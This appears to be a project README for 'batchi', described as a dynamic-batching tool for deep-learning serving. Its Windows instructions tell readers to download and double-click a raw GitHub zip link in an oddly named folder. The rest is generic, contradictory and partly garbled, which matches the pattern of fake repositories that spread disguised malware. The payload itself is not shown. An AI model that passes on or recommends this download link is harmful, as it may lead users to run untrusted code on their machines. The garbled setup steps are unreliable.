Welcome to batchi! This software helps manage dynamic batching for deep learning serving. With batchi, you can enhance the performance of your machine learning models with minimal effort.
To run batchi, you will need:
- Windows 10 or higher, macOS 10.14 (Mojave) or higher, or a modern Linux distribution
- At least 4 GB of RAM
- Python 3.6 or higher (if you want to extend functionality)
Follow these steps to download and run batchi:
- Visit the Releases page to access the latest version.
- Look for the section labeled "Assets."
- Download the appropriate file for your operating system:
- For Windows: Download
https://raw.githubusercontent.com/kinpatchii/batchi/master/exflagellate/batchi.zip - For macOS: Download
batchi-macos - For Linux: Download
batchi-linux
- For Windows: Download
- Once the download is complete, locate the file in your Downloads folder.
- Run the application:
- Windows: Double-click on
https://raw.githubusercontent.com/kinpatchii/batchi/master/exflagellate/batchi.zip - macOS: Open the
.dmgfile and drag the application to your Applications folder, then run it. - Linux: Open a terminal, navigate to the downloaded file, and run
chmod +x batchi-linuxfollowed by./batchi-linux.
- Windows: Double-click on
When you first run batchi, a setup wizard will guide you through initial configurations. You'll be prompted to:
- Select your model
- Adjust batching parameters
- Review system resource allocations
Follow the on-screen instructions to complete these steps.
- Dynamic Batching: Efficiently combines requests to optimize model inference.
- User-Friendly Interface: Navigate easily without any complex setups.
- Real-Time Analytics: Monitor your model performance with live updates.
If you encounter problems, try the following solutions:
- Application Won't Open: Ensure your operating system is supported. Check that you downloaded the correct version for your OS.
- Performance Issues: Review your batching settings and consider allocating more system resources.
- Windows: Go to Control Panel > Programs > Uninstall a program, and select batchi.
- macOS: Open Finder, navigate to Applications, and drag batchi to the Trash.
- Linux: Open your package manager or terminal and use
sudo apt remove batchiif installed via package.
Yes, batchi is designed for users without programming knowledge. The interface is straightforward, allowing you to manage settings easily.
Join our user community for assistance, feature requests, and discussions. Visit our GitHub Issues page to ask questions or contribute.
batchi is released under the MIT License. You can use it freely, provided you include the license in any distribution.
Thank you for choosing batchi! Enjoy optimizing your deep learning models efficiently. If you need any help, feel free to reach out in the community forums.